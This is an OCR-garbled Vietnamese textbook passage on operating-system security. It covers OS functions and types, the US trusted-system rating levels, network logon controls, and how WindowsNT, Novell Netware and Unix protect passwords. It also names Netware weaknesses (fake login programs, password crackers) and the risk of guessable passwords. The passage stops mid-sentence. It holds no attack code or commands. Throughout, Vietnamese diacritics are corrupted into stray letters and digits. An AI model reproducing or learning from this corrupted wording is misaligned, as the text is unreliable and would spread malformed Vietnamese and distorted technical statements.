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TAI LIEU THAM KHAO




PHAN 1
CO CHE AN TOAN
CUA CAC HE PIEU HANH MANG



L. TONG QUAN VE HE PIEU HANH
Hé diéu hanh 1a mot tAng ctia hé thong mdy tinh nam gitta phan cing va céc

chuong trinh ngudi dung (hay cdc phan mém nguoi dung). Hé dieu hanh dugc
xdy dung truc tiép trén giao dién phan cing va cung cip giao dién gilta phan
ciing mdy tinh va cic chuong trinh nguoi ding. Thong thudng, cdc phan mém
ung dung s€ khong truc ti€p thuc hién trén phan ciing mdy tinh ma né yéu ciu
mot hé diéu hanh dé chay trén d6. Hé diéu hanh 1a 16p phdn mém gin nhat doi
vGi bat ky phan mém tng dung nao dang duoc thuc thi. Hé diéu hanh ciing 1a
chuong trinh dau tién dugc chay trén may tinh khi may tinh duoc khéi dong.

Heé di€u hanh chia sé cdc dac trung véi ca phan cing va phan mém. Hé diéu
hanh 12 phan mém, nghia 1a n6 12 mot chuong trinh da duoc bién dich, lién két va
chay trén may tinh. Tuy nhién, n6 lai giéng phan cing trong d6 chi mot ban
copy ctia hé diéu hanh chay trén mdy tinh va né mé rong cac kha nang ctia phan
cung.

Chitc ning cua hé diéu hanh 1a quan 1y tai nguyén va thuc thi nhu cic may
tinh ao.

Hé diéu hanh quan 1y cdc tai nguyén phan cing cta hé thong mdy tinh bao
gom cac chic nang sau:

- Chuyén d6i (Transforming): tao ra tai nguyén mdi tlr tai nguyén da co. Tai
nguyén dugc tao ra s€ hoat dong thay cho tai nguyén da c6 nhung dugc su
dung dé dang hon

- DPa thanh phan (Multiplexing): tao ra mot vai tai nguyén ao tir mot tai nguyén

- Lap lich (Scheduling): quyét dinh cdc chuong trinh nao sé nhan dugc moi tai
nguyén va khi nao thi chiing nhan duoc
Cac tai nguyén phan cing c6 su tuong tac tuong doi phic tap. Phan cing

twong tac voi mot mdy in c6 thé bao gém: céac thanh ghi dit liéu, cic thanh ghi

diéu khién va céc thanh ghi trang thai. D€ giri mot ky tu dén mdy in, can lap lai
viéc doc thanh ghi trang thai cho dén khi nhan duoc chi din mdy in da san sang
nhan ky tu ti€p theo. M6i khi mdy in di sin sang, dit liéu can duoc ghi vao thanh
ghi dir liéu va Iénh “glii” dugc ghi vao thanh ghi diéu khién. D€ thuc hién cac
diéu nay can phai biét dia chi cua cdc thanh ghi diéu khién, thanh ghi dit liéu,
thanh ghi trang th4i va cau tric cia cac bit trong thanh ghi diéu khién va thanh
ghi trang thdi. D€ trdnh cdc kho6 khan lién két khi sir dung tai nguyén phan cing,
hé diéu hanh chuyén d6i tai nguyén phan ciing sang tai nguyén do. Tai nguyén
a0 s€ cung cap cac chiic nang can thiét cua tai nguyén phan cing nhung dugc su
dung dé dang hon bdi vi cdc chi tiét clia giao dién phan cting duoc 4n di. Chang
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han, hé diéu hanh c6 thé cung cdp mot mdy in 4o ¢6 thé in cac ky tu. D€ sir dung
mady in a0 nay, cac tng dung chi can chi ro ky tu dugc in. May in ao cung cap
cac chiic nang can thiét cia may in vat ly trong khi hé di€u hanh luu gitt cac chi
tiét lam cho giao dién phan cing kho st dung (nhu dia chi thanh ghi, dinh dang
thanh ghi, doi cho dén khi mdy in san sang cho moi ky tu).

Khi ¢6 nhiéu mdy tinh ao hon céc tai nguyén vat 1y, hé di€u hanh can dam
bao ring cdc mdy tinh 4o c6 thé chia sé cac tai nguyén vat ly. Su chia sé cdc tai
nguyén vat 1y nay dugc goi 1a don kénh (multiplexing). Gia sir h¢ thong cla
chiing ta chi c6 mot mdy in. Néu ta chay hai hay nhi€u ing dung, hé di€u hanh
can lam cho né xudt hién nhu 1a m6i mot may tinh 40 c6 mot may in riéng. Vi
vay, hé diéu hanh cin phai dim bao rang cac ky tu duoc in boi mot mdy tinh ao
nay s€ khong dugc 1an 16n vé6i cac ky tu dugc in bdi mot mdy tinh ao khac. Co
thé chia sé tdi nguyén bing cdch chia theo thoi gian sit dung tai nguyén (time-
division multiplexing) hodc chia chinh tai nguyén thanh cic ban nho hon va moi
may tinh a0 nhan dugc mot phan cua tai nguyén (space-division multiplexing).

Mot hé thong may tinh c¢6 nam loai tai nguyén phan cting: bo xur 1y, bo nhd,
céc thiét bi diéu khién vao/ra (I/O), cac thiét bi luu trit va cac thiét bi vao/ra
khac. Mot mdy tinh 4o cung cap cdc phién ban phan mém cua mdi tai nguyén
nay. Mot bo vi xir Iy 4o c6 thé chay nhiéu chuong trinh va sir dung cdc tap 1énh
co ban giong véi bo vi xur 1y vat 1y. Mot s6 1énh ctia bo vi xur 1y vat 1y khong cé
san trén bo vi xur 1y ao. Tuy nhién bo vi xur 1y ao lai ¢c6 thém cac 1énh, goi la cac
101 goi hé thong (system calls), cho phép truy cap dén céc dich vu ctia hé diéu
hanh. Bo nhé 4o dugc dung dé luu trit dit liéu va chuong trinh ngudi dung. Hé
diéu hanh cung cap viing nhé ao riéng biét cho méi may tinh ao khac nhau. Cac
thi€t bi vao/ra ao cung cap viéc truy cap (khong truc ti€p) dén cac thiét bi vao/ra
vat ly. Cac thiét bi dia dugc 4o tudng hoa nhu 1a hé thong file (file system).

Tém lai, chiic nang ctia hé di€u hanh dugc xem xét trén hai phuong dién. Hé
diéu hanh 1a mot chuong trinh quan 1y tai nguyén ma né quan 1y (dinh vi va tu
do), da thanh phan (tao ra nhiéu ban copy) va chuyén déi (lam cho dé str dung
hon) cédc tai nguyén phan ciing. Hé diéu hanh ciing 1a chuong trinh quan 1y may
tinh a0 ma cung cap cac may tinh ao véi cac ti€n trinh (processes) chay trén do.

1. Cac thanh phan cta hé diéu hanh
Hé diéu hanh 1a mot tap hop cdc chuong trinh dugc cai dat sin. Moi
chuong trinh dam nhiém mot chitc nang trong hé thong. Nhu vay, dua theo chiic



niang cla cdc chuong trinh trong hé diéu hanh c6 thé chia hé diéu hanh 1am 3
thanh phan co ban:

e Thanh phéin diéu khién: Diéu khién, phan phéi cong viéc cua hé diéu
hanh. Thanh phan nay khong cho ra san phdm méi (céc file mdi, cac két qua in
ra ...) ma cho tdc dong doéi véi su hoat dong clia may, vi du nhu: chuong trinh
dan dat (diéu phoi chinh), diéu khién bai todn, diéu khién vao ra, chuong trinh
tai...

e Thanh phéin tng dung: Tao ra san phdm mdi, vi du nhu: cdc chuong
trinh tinh toan, cac bo dich, chuong trinh soan thao... gidp ngudi dung khai thac
cac phan mém trén mdy tinh cua minh.

Nhu vay, néu muc dich cua thanh phan diéu khién 12 hiéu qua cua viéc
khai thac may tinh thi muc dich chinh cta thanh phan tng dung la thoa man &
muc cao nhat nhu ciu clia ngudi dung, tang hiéu suit cia may d6i véi timg 16p
nguoi dung.

e Cic chuong trinh tién ich (utilities): Phan nay thém céc thao tic dé
nguoi st dung 1am viéc véi hé diéu hanh thuan tién hon, vi du nhu: cich thic
tham nhap hé thong, chuong trinh sao chép, in an noi dung file...

2. Phan loai hé diéu hanh

C6 nhiéu cach phan loai hé diéu hanh, sau day ta s& xét mot s6 cach phan
loai hé diéu hanh

2.1 Hé diéu hanh don chuong trinh, hé diéu hanh da chuong trinh

e Hé diéu hanh don chuong trinh: phuc vu mot chuong trinh tir lic bat dau
cho dén lic két thic. Trong bo nhé trong tai mot thoi diém chi ¢c6 mot chuong
trinh nguoi dung. Chuong trinh d6 chiém gilt moi thi nguyén hé thong. D€ ting
hiéu sudt lam viéc hé diéu hanh st dung cach thitc Spooling( Simultaneous
Peripheral Operations Online- T4t ca viéc vao ra duoc chudn bi trén dia ciing, do
do toc do clia toan bo hé thong tang 1én dang ké).

e He¢ diéu hanh da chuong trinh: Trong mdy tinh tai mdi thoi diém c6
nhiéu chuong trinh ngudi dung & bd nhd trong. Cac chuong trinh nay déu duoc
phan phoi bo nhé va CPU dé thuc hién, tai nguyén dugc chia sé cho tat ca cac
chuong trinh nay hay néi céch khdc, cidc chuong trinh ny binh dang khi doi hoi

cac tai nguyén.



Nhu vay, trong ché do don chuong trinh thi chuong trinh két thic nhanh
hon con trong ché€ d6 da chuong trinh hoan thién dugc nhi€u bai toan hon va hiéu
qua st dung may tinh cao hon.

2.2 Hé diéu hanh phan chia thoi gian va hé diéu hanh thoi gian thuc

e H¢ diéu hanh phan chia thoi gian (Share time): Trong hé thong nay cé
nhiing thoi diém ma mot bai todn (hodc mot chuong trinh) khong dugce bo xir ky
phuc vu, né bi dua vé trang thdi sleepping

e Hé¢ diéu hanh thoi gian thuc (Real time): Mot chuwong trinh ké tir khi bat
dau dén khi két thiic luon dugc phuc vu béi moét trong cac CPU ¢6 trong hé thdng

2.3 Hé tap trung- phan tan

e Hé tap trung: Trong hé thong may tinh chi c6 mot may chu dugc cai mot
hé diéu hanh duy nhat, cic mdy tram duoc khéi dong nho hé diéu hanh nay,
chiing chi ¢ chic nang duy nhat nhap, xuat dit liéu va glri yéu ciu xtr 1y vé may
chu, kho dit liéu va viéc xtr 1y tin déu dugc dat 6 may chu.

e Hé phan tdn: M6i may trong hé thong déu c¢6 hé di€u hanh riéng, viéc xur
ly dit liéu c6 thé tién hanh & ting may tram. Hé diéu hanh & mdy chi thuc hién
mot s6 cong viéc nhu quan 1y kho dit liéu, di€u phdi hoat dong chung cta toan
hé thong theo mo hinh khach chu (client-server). Hé di€éu hanh mdy chu thudong
1a cdc hé diéu hanh nhu Novell-Netware, WindowsNT, Unix, Linux.

& Nhu vay, hé diéu hanh 12 mot bo chuong trinh d6 so, nén khong thé
cung mot ldc dua ca vao bo nhé trong. Tir d6 xuét hién khai niém nhan (Kernel).
Van dé dat ra v6i nhan la:

-Nhan 16n thi d& phai tai nhi€u, nhung ton bo nhé va lam cho toc do chung
cia mdy cham.

-Nhan nho thi phai tai nhieu dan dén hiéu suét thap.

Dé giai quyét dugc van dé do, ta c¢6 “vi nhan”. Vi nhan 13 nhitng modul
chuong trinh nho, nhung thuong hay st dung do viéc tai né dugc dé dang va it
ton thoi gian hon.

3. Lich sur phat trién cua hé diéu hanh
e Cic th€ hé mdy tinh I va I chua c¢6 hé diéu hanh.
e Xuat hién dau tién 1a hé diéu hanh don chuong trinh: Cé6 mot dong doi cho
chuong trinh vao bo nhé trong (MS-DOS).
e Sau d6 ché€ do da chuong trinh xu4t hién nham tang s6 luong chuong trinh
dugc giai quyét trong mot khoang thoi gian (MFT, MVT).
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e Theo huéng da nguoi dung: phan phoi bo nhé gian doan, st dung bd nhé
a0.

e Theo huéng diéu khién tuw dong hoa: hé diéu hanh thoi gian thuc.

e V6i hé thong mdy tinh tinh todn chung: hé di€u hanh phan tan.

& C6 thé nodi, tat ca cdc hé diéu hanh dugc tao ra 1a khong ngang béing
nhau. Khong hé diéu hanh nao trong s6 cdc hé diéu hanh phé bién hién nay duoc
phat trién vé6i y tudng vé an toan thuong mai dién tir. Vi vay, ngay nay ngudi ta
cang chd y hon dén van dé an toan trong cic hé diéu hanh. B6 Quéc phong My
da dé xudt mot so tiéu chuan dé ddnh gia mic do an toan cho cic hé diéu hanh
bao gom nhiing ndi dung co ban sau day:

- Chinh sach an toan: Nhat thiét phai cé chinh sach an toan mot cach ro
rang va hé thong thuc thi duoc xac dinh.

- Nhan biét: Nhat thiét phai la sy nhan biét duy nhit dang tin cay doi
vG6i m6i chu thé nham thuan 1oi trong viéc kiém tra yéu cau khai thic cua
chu thé va khéch thé.

- Tiéu chi: Mdi mot khdch thé (doi twong) nhat thi€t phai duoc gén
mot “tiéu chi” (nhin), néi rd c4p an toan cua khach thé dé thuan tién cho
viéc so sanh.

- Tinh c6 thé kiém tra: Hoat dong ctia hé thong phai dugc ghi chép day du,
thuong xuyén va an toan. Nhiing hoat dong nay bao gom dua khach hang mdi
vao hé thong, su phan phoi va thay déi cip an toan cta chi thé hoic khich thé,
cling nhu chong lai y d6 khai thac.

- Giai phap bao dam: Hé thong nhat thiét phai bao ham co ché thuc thi
tinh an toan, dong thdi ¢6 thé ddnh gi4 tinh hitu hiéu ctia né.

- Bao ho lién tuc: Co ché thuc thi tinh an toan nhat thi€t phai dugc bao ho
lién tuc nhim phong ngira su bién déi khi chua duoc phé chuan.

Cin ct 6 yéu cau trén “chudn tic ddnh gid hé thong may tinh tin cay”
chia tinh an toan ctia hé théng mady tinh thanh 8 mic khiac nhau cta 4 cip
(A,B,C,D).

e Cap D: day la cap bao ho an toan thap nhat. Hé diéu hanh & cap nay giong
nhu mot can phong ¢é clra to dugc md rong, bat ky ngudi nao ciing c6 thé tur do
di vao, n6 hoan toan khong thé tin cay dugc. D6i vdi phan ciing thi khong c6 bat
ky mot giai phap bao ho nao, hé diéu hanh rat dé bi t6n hai. Khong c6 su han ché

khai thac so liéu, bat k¥ ngudi nao, khong can tai khoan ciing déu c6 thé vao hé



thong khai thac s6 liéu ctia nguoi khac. Cap nay chi ¢c6 mot mitc. Nhitng hé diéu
hanh thudc cap nay cé: DOS, Windows, Macintosh System 7.1 cua Apple.
e Cap C: Cap C c¢6 2 mic an toan C1 va C2.

* Mitc C1: con dugc goi 1a hé thong bao vé an toan mang mdy tinh tuyén
chon . Hé thong thudc loai mic nay c6 su bao vé & mic do nhat dinh doi véi
phan cing, nhung tinh c6 thé bi ton hai chia phan ctng van ton tai. T4t ca nhiing
tai khoan va mat khau cua thué bao phai dugc dang ky, qua d6 hé thong nhan
dang xem thué bao cé hop phap khong, dong thoi quyét dinh thué bao c6 quyén
khai thac nhu thé€ nao doéi v6i cac tai nguyén cua hé thong. Khi€ém khuyét cua
bao vé mitc C1 12 & chd thué bao cé thé khai thac truc ti€p thué bao goc ctia hé
diéu hanh. C1 khong c6 kha nang khong ché cip khai thac cta thué bao di vao
hé thong, cho nén c6 thé dé cho so liéu trong hé thong di chuyén bat ky.

* Mtc C2: can thoa méan cac yéu cu sau:

- Dé dang dang nhap an toan (Secure logon facility): chi cAn mot user ID va
mot password
- Diéu khién truy nhap tuy y (Discretionary access control): mdi user c6 thé
quyét dinh cho phép nguoi khac truy nhap & mic do nao doi véi céc file cua
anh ta
- Kiém sodt (Auditing): hé¢ diéu hanh phai phdt hién va ghi lai tat ca cac su
kién lién quan dén tinh an toan ctia hé thong
- Bao vé bo nhé (Memory protection): bo nhé phai cé thé dugc bao vé khoi
viéc doc-ghi khong duge xac thuc. Toan bd bo nhG phai duoc khoi tao lai
trude khi ching duge tai sir dung, vi th€ noi dung ctia cac ban ghi trude do sé
khong bi mat.
Cédc hé diéu hanh WindowsNT va Novell-Netware dugc xép ¢ mic an toan
C2 con hé diéu hanh Unix duoc x€p & miic an toan C1.
e Cidp B: con goi la cap bao vé uy quyén. N6 chita tat ca cdac yéu cau co
trong C. Cap B c6 3 mic: muc Bl, B2 va mic B3.

* Muc Bl: d6 Ia tiéu chi bao vé an toan. N6 la muc thit nhat duy tri an
toan nhi€u mic, ( vi du nhu bi mat va tuyét mat), miic nay chi rd khi mot doi
tuong roi vao tinh trang khong ché khai thac mang thi hé thong khong cho phép
ngudi c6 tép (tiic 1a d6i twong) duge thay déi quyén han clia no.

Heé thong mdy tinh ¢6 dugc giai phdp an toan mdc Bl 1a tuy theo hé diéu
hanh. Cac co quan chinh phu va ciac nha cung cip hé thong la nhiing nguoi chu
y€u c6 hé thong may tinh mic Bl.



* Mtic B2: con goi 1a bao vé cau tric. N6 yéu cau tat ca cac doi tuong &
trong hé thong déu phai danh dau va cho thiét bi (dia tlr, bang tir va tram dau
cu6i) nhan mot mdc hodc nhi€u mic an toan. Nhu vay ¢ day dua ra mdc thit nhat
ctia thong tin gitta d6i tuong c¢6 mic an toan tuong d6i cao véi mot doi tugng
khéac ¢6 muc an toan thap hon.

* Mic B3: con goi 1a bao vé an toan khu vuc. N6 su dung phuong thiic
1dp dat phan ciing dé tang cudng bdo vé an toan khu vuc. Mic ndy yéu cau thué
bao thong qua mot dudng c6 su tin nhiém noi véi hé thong.

e Cip A: d6 la cap bao vé duoc xac minh. N6 thuong duoc goi 1a an toan
duoc kiém chitng; n6 bao gébm mitc A va miic Al. D6 1a cap thiét k€ nhan dang
va 1a cép cao nhit hién nay; né gom thiét k€ khong ché va qud trinh nhan dang
chinh xdc. Cling gidong nhu cic cap & trén, né bao gom tat ca cac dac tinh cua
cac cap thap hon. Thiét k& phai tir géc do s6 hoc va phai trai qua nhan dang.

Trong 8 cap duoc giGi thiéu & trén, B1 va B2 1a chénh léch nhau vé cdp 16n
nhat, bai vi chi ¢6 B2, B3 va A méi la cic muc an toan thuc su. Hién nay , may
tinh duoc sit dung mot cach rong rai, hé di€éu hanh cta ching phan 16n 1a san
pham thudc mic C1 va mitic C2, dugc nhap tir nudc ngoai vao. Viéc sdng tao ra
hé diéu hanh an toan va co s& dit liéu cao cap la mot nhiém vu cap bach. Tuy

nhién d6 1a mot cong viéc rat kho khan va ning né.

II. CO CHE AN TOAN CUA HE PIEU HANH

Mobi hé diéu hanh déu c6 moét hé thong an toan duoc xay dung sin. Tuy
moi hé ¢6 cach thic cai dat khac nhau nhung ching déu dugc t6 chiic thanh ba
muc sau:
- An toan truy nhap mang
- An toan hé thong
- An toan file va thu muc

1. An toan truy nhap mang

An toan truy nhap hé thong la mic dau tién ma nguoi dung phai vuot qua
dé truy nhap vao mang. Chifc ning clia an toan truy nhap mang bao gém

e Xac dinh tinh chan thuc cua nguoi dung: Khi nguoi dung mudn truy
nhap vao mang tir tram lam viéc cua minh hoac tir may cha, hé thong yéu cau go
tén va mat khau. Néu nguoi dung gd tén hoac mat khau sai thi ho khong thé truy

nhap duoc vado mang. Khi ngudi dung go tén va mat khau ding thi hé thong s&



ti€p tuc kiém tra cdc diéu kién khac vé mat khau, thoi gian truy nhap, tram truy
nhap.

e X4ic dinh thoi gian ma ngudi dung duoc truy nhap vao mang: Nguoi
quan tri mang lya chon ngay nao trong tuan (cha nhat, tha hai, ..., thit bay) va
gid nao trong ngay (0 gid — 24 gid) dé cho phép ngudi dung dugc vao mang.
Ngudi dung chi c6 thé vao mang trong thoi gian cho phép, con ngoai thoi gian
do6 nguoi dung s€ khong thé truy nhap duoc vao mang

e X4ic dinh tram lam viéc ma nguoi dung dugc phép truy nhap vao mang
tir d6: Trong mo6i mang cé nhi€u tram lam viéc, ngdm dinh moi nguoi dung déu
c6 thé truy nhap vao mang tir mot tram bat ky, tuy nhién hé diéu hanh mang con
cho phép ngudi quan tri mang chon mot s6 tram nhat dinh dé ngudi ding chi
duoc quyén truy nhap vao mang tir d6. Di€u nay s€ c¢6 1oi néu mot nguoi ding
nao dé 1am 16 mat khdau cia minh nhung tram 1am viéc cta ho lai dugc bao vé
vat 1y (dé trong mot phong di duoc khod chiang han) khi d6é nhitng ngudi khéc
khong thé truy nhap vao mang véi tu cich cta anh ta dugc vi ho khong thé mé
ctra phong chita tram

e Xac dinh nguoi la mat: Trong mot mang mdy tinh mdi nguoi dung cé
nhiing quyén truy nhap dén tai nguyén (file, thu muc,...) khac nhau, chinh vi vay
luon c6 hién tuong mot ngudi dung nao d6 muon dugc vao mang véi tu cach mot
ngudi khic c6é nhitng quyén manh hon bing cidch dodn mat khau. D€ ngin chin
viéc nay hé thong cho phép ngudi quan tri xdc dinh s6 1an gd mat khau sai khi
nguodi dung truy nhap vao mang. Néu s6 lan gb sai vuot qua so lan quy dinh hé
thong s€ khoa khoan muc nguoi dung trong mot thoi gian nao d6 hoac mai mai,
chi c6 ngudi quan tri mang mdéi ¢6 thé md khod cho khoan muc nguoi dung.

e Ngay man han cta khoan muc ngudi dung:Mdi khoan muc ngudi ding
c6 thé khong bao gid man han hoic s& bi man han sau mot thoi gian nao d6

e V6 hiéu hod khoan muc: khi mot khoan muc bi vo hiéu hod ngudi dung
khong thé truy nhap hé thong

e Cic rang buoc khac: Mdi hé diéu hanh s& c6 thém nhing rang buoc b
sung dé tang tinh an toan truy nhap hé thong

Tém lai: an toan truy nhap mang c6 chiic nang tra 16i cac cau hoi nguoi
dung la ai, anh ta dugc truy nhap mang khi nao, & dau va truy nhap mang nhu thé
nao.



& Trong mic an toan truy nhap mang, nguoi ta thuong chd y hon ca dén
viéc xac dinh tinh chan thuc cua nguoi dung. Nguoi dung dang nhap vao mang
thong qua tén va mat kh4u.

* Poi voi WindowsNT, mat khau dugc truyén tir mdy tram logon vé trung
tam theo cdch ma hod dac biét theo mot trong hai cach sau:

Mot 1a, WindowsNT dung DES lam ham mot chiéu dé ma hod mat khau
cua ngudi ding. Mat khiu d4anh vao & dang unicode c6 thé dai dén 128 ky tu.
Mat khau nay dung DES lam ham mot chiéu dé ma hod mot hing quy udc trudc
r6i chuyén gid tri ma hod nay dén co so dit lieu ngudi dung. 0 day gia tri nay
dugc dem so sanh véi gia tri da luu trong co s& dit liéu. Néu triung khép thi dugc
phép truy nhap hé thong néu khong s& bi tir choi. Mat khau khong bi 10 vi né
khong thé giai ma

Hai 1a, khi logon thi server glri mot nonce dai 16 byte cho tram client. Mt
khau clia ngudi st dung duoc dung dé 1ap mi nonce va gui vé server. Ddu tién
mat khau dugc ding lam khod dé ma mot hing s6 quy wdc. Sau d6 gid tri mot
chiéu nay dugc dung 1dm khoid dé mi nonce va két qua dugc gui vé server.
Server mot méat nhan gia tri nay, méit khac nd 14y gia tri mot chiéu & co sé dit lieu
ctia nguoi dung ra 1am khoa va 1ap ma nonce ma né con luu gitt, két qua duoc so
sanh vai két qua vira nhan dugc tr client, néu hai két qua trung nhau server cho
phép truy nhap. Néu nguoc lai, né tir ch6i truy nhap. V6i cdch bao vé mat khau
nay WindowsNT trdnh dugc phép tan cong bang tir dién

* Poi v6i Novell Netware: Cac version 2.15 trd vé truéec mat khau duoc
truyén di & dang r6. Néu ké pha hoai don dugc mat khau nay trén dudng truyén
thi anh ta c6 thé gianh dugc quyén truy nhap hop phdp vi ¢6 trong tay mat khau
va tén nguoi st dung hop 1é

Tur version 3.0 tré di mat khau khi truyén di di dugc ma hod bing thuat
toan mat ma. Cu thé nhu sau:

LOGIN.EXE gtri thong bao cho server xin khoa 14p ma

Server gtii tra vé cho workstation khod 64 bit. Khod & cac phién lam viéc
l1a khic nhau

LOGIN.EXE dung kho4 vira nhan duoc dé 1ap ma mat khau

Vi server biét dugc kho4 nén giai dugc ma dé tim ra mat khau
Vi co ché an toan nhu vay thi viéc bao vé hé thong cua Novell Netware yéu hon
0 vGi co ch€ an toan cua hé diéu hanh WindowsNT

Mot s6 di€ém yéu ctia Novell Netware thé hién trong cac van dé sau:
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Bo qua Login Scripts: chang han khi ngudi dung dang nhap mang, login scripts
ctia mang kich hoat chuong trinh thanh tra chay & workstation. Nguoi dung c6
thé diéu khién qua trinh thanh tra nay vao muc dich cta minh khi chua ding
nhap mang.

Cho phép vao mat khAu tir trong tép da ghi san. Bing truy nhap vat ly tai
workstation ngudi ding nao d6 dé dang an cip mat khau ghi trong tép dé &
workstation

K¢ xam nhap c¢6 thé 1am mot chuong trinh LOGIN.EXE gia v6i muc dich
ghi lai mat khiu dé sau nay dung lai nhu mot ngudi stt dung hop phép

Ngoai ra viéc dung mot chuong trinh dé€ pha khod mat khau dé do tim mat
khau diing ciing 12 vii khi thong thudng ciia ké xam nhap

Tém lai viec chay mot NLM (Network Loadable Module) dé bo qua duoc
qua trinh kiém tra mat kh4u 12 mot 16 héng cua hé diéu hanh mang Novell
Netware.

Dai v6i phién ban méi cua hé diéu hanh mang Novell Netware thi da c6
nhitng bo sung mdi: Netware 4.0 di dung co ché x4c thuc ding nhap mang &
muc an toan cao. Cac hé mat duoc dung trong lién lac giita client va server 1a hé
mat ma khod cong khai nhu RSA. Qua trinh xdc thuc user dang nhap duoc thuc
hién theo so d6 sau:

Trong so d6 dudi day:

KU,KR: kho4 cong khai va khod bi méat

P: mat kh4u ctia ngudi dung (password)

C = E(KR,P): phép ma hoa KR dung khoa P

KR = D(C,P): phép giai ma C dung khod P dé duoc KR

S = Ex[ID]: chit ky s6 cua ID dung KR ky

ID’ = Dyy[S]: ding khoa cong khai KU giai ma chit ky dé duoc ID cta
nguoi dang nhap
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Client Server

Gti y/c > Nhan y/c
dang nhap
NhanC | Gui C C = E(KR.P)
Giai ma tim KR
KR = D(C,P)
I '
Ky vao ID Gui chirky S . Nhan S
S = EKR[ID]
Giai ma chir ky
ID’ = Dy [S]
Cho phép dang Y
nhap < ID’=1D
N
Tir choi dang
nhap

Khi c6 nguoi dung dang nhap mang Netware tor mot may tram, chuong
trinh Login gui yéu cdu vé server, chuong trinh server gui khoa bi mat da duoc
lap ma bdi mat khau cta ngudi dang nhap mang. Tai mdy tram ngudi dang nhap
mang d4dnh vao mat khau va mat khau nay duoc dung dé giai ma tim ra kho4 bi
mat giri dén server. Khod bi mat nay lién dugc ding dé ky vao thong tin nhan
biét ID cua nguoi dang nhap mang va gui chit ky nay vé server. Server dung khoa
cong khai tuong tng dé kiém tra tinh hop 1¢ cua ID twong tng cuia ngudi dang
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nhap mang. Chit ky s& 12 khong hop 1é khi mat khau danh vao khong tuong ting
v6i ID xung danh va do d6 server tir choi phién lién lac. Muon dang nhap duoc
mang Netware ngudi dung phai ¢ hai thong tin ding dan 1a ID va password.
Anh ta khong thé gia danh mot ngudi dung nao dé cia mang dé dang nhap mang
vi anh ta khong doan duoc password va doi khi khong biét ca ID tuong tng.

Nhu vay ta thady v6i Netware 4.0 thi vi mat khau khong truyén di trén
mang nén s& khong thé nghe trom dugc mat khau trén dudng truyén. Khod mat
duoc ding dé ky vao ID dugc lap ma dé truyén trén mang nén néu khong cé
password thi khé gidi dé tim ra dugc né. Hon nita néu khod mat nay c6 bi 16 thi
n6 chi gdy mat an toan bdi phién dang nhap hién hanh. M6i phién dang nhap
mang server dung mot khda phién khac nhau nén tinh an toan cua hé théng van
chua bi nguy co phé v& hoan toan. Dé giit gin hé thong cit sau mot thoi gian dinh
ky server lai bat buoc phai dang nhap lai vao mang. Bing cich nay khod phién
luon thay déi 1am cho ké tan cong rat kho thanh cong. So véi céc phién ban trudc
thi Netware 4.0 da nang cao kha nang an toan trong viéc xac thuc ngudi dung
dang nhap mang, di€u nay lam cho Netware trd thanh mot hé diéu hanh mang cé
tinh an toan rat cao.

* Poi v6i Unix: Méi password ¢6 do dai 8 ky tu duoc chuyén doi thanh 56
bit (dung 7-bit ASCII) dung lam khod dua vao thu tuc ma hoa. Tha tuc ma hoa
dugc dua trén ma DES. Thuat toan DES dugc sira doi bing cach sir dung gid tri
12-bit “salt”. Thong thudng gia tri ndy c6 quan hé véi thdi diém ma password
dugc an dinh cho méi user. Thuat todn DES duoc stta d6i nay duoc dp dung doi
vGi dit liéu vao 1a khéi 64-bit gom toan bit 0. K&t qua dua ra dugc coi 1a dau vao
cho su ma hoa 1an thit hai. Qu4 trinh nay duoc lap lai tong cong 25 14n va 64-bit
két qua dugc chuyén déi thanh chudi 11 ky tu. Ban ma password nay dugc luu
trlt cung v6i 12-bit “salt” twong tng voi user ID trong file password.

Gia tri “salt” phuc vu cho ba muc dich

- Ngan chin viéc sao chép mat khau bang cich dugc nhin thdy trong file
password. Tham chi, néu hai user Iya chon cing mot password, ching duoc tao
ra & nhiing thoi diém khdc nhau thi password “m& rong” cua hai user van khac
nhau.

- Tang do dai cua password mot cach hiéu qua ma khong yéu cau user
phai nhé hai ky tu dugc thém vao. Vi vay s6 password c6 thé dugc tang 1én véi
boi ctia 4096 lan, lam tang do phiic tap trong viéc phong doan mot password.

- Ngan chan viéc st dung su thuc thi phan cing cta DES, diéu ma lam
giam b6t do phic tap cua tdn cong phong doan
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Khi user ¢6 ging dé logon vao hé thong Unix, user cung cap ID va
password. Hé diéu hanh sir dung ID 1am chi s6 dé tim trong file password dé
nhan duogc gia tri “salt” va gia tri password da duoc ma hod, sau d6 dung gia tri
“salt” va password ti€n hanh ma hoa nhu trén, két qua thu dugc duoc so sanh véi
gia tri password da duoc ma hoa & trén, néu phu hop password dugc chip nhan

Thu tuc ma hod duoc thiét k& 1am nan long cac kiéu tan cong phong dodn.
Viéc thuc thi cdc phan mém cua DES cham hon so véi cdc phién ban phan cing
va viéc lap lai 25 1an lam cho thoi gian yéu cau tuong tac cling tang 1én 25 lan.

Tuy nhién, c6 hai méi de doa d6i v6i lugc d6 password cua UNIX. Thit
nhat, mot user c6 thé dat dugc truy nhap trén mot may dung account khach hoic
bang mot cach thitc ndo d6 va réi chay chuong trinh phdng dodn password, goi 1a
password cracker, trén mdy d6. Nhitng ké tan cong c6 thé ki€ém tra hang tram,
tham chi hang nghin mat khau c6 thé véi su tiéu ton tai nguyén rat it. Hon thé
nita, néu doi thu c6 thé thu dugc mot ban copy cua file password thi chuong trinh
cracker ciing ¢4 thé chay trén mot may khac lic ranh réi. Diéu nay cho phép doi
thii chay qua hang nghin password c6 thé trong mot thoi gian vira phai.

Tham chi t6¢c do phong doan vo cung 16n khong 1am cho né kha thi dé mot
ké tan cong st dung k§ thuat dumb brute-force dé thir tat ca cdc t6 hop c6 thé
cua cdc ky tu dé kham pha ra password. Thay vi thé, password cracker dua vao
mot thuc t€ 1a mot s6 ngudi lua chon password cé thé phong doan dé dang. Mot
s6 ngudi, khi dugc phép chon mat khau cho minh lai 14y v6i do dai qud ngén.
Mot nghién cttu nhan duoc tir cac password khac nhau chon trén 54 may, v6i xap
xi 7000 accounts ngudi ding cho thay gan 3% trong s6 nay l1a 3 ky tu hoiac ngan
hon. Vi vay mot ké tan cong c6 thé bat dau tan cong bing viéc thir quét tat ca cac
password c6 thé c6 do dai 3 hoiac nhd hon. Poi v6i mot hé thong, bién phap don
gian nhat dé khic phuc diéu nay 12 loai bo bat ky password nao cé do dai nho
hon 6 ky tu, tham chi yéu cau tat ca cic password phai ¢6 do dai chinh xédc bang
8.

Do dai mat khau chi 12 mot phan cta van dé. Nhiéu ngudi khi dugc phép
chon mat khiu cho minh lai chon nhitng mat khau c6 thé phong dodn dugc nhu
tén, tén dudng pho clia minh, hoac nhiing tir thong thuong v.v ... Diéu nay lam
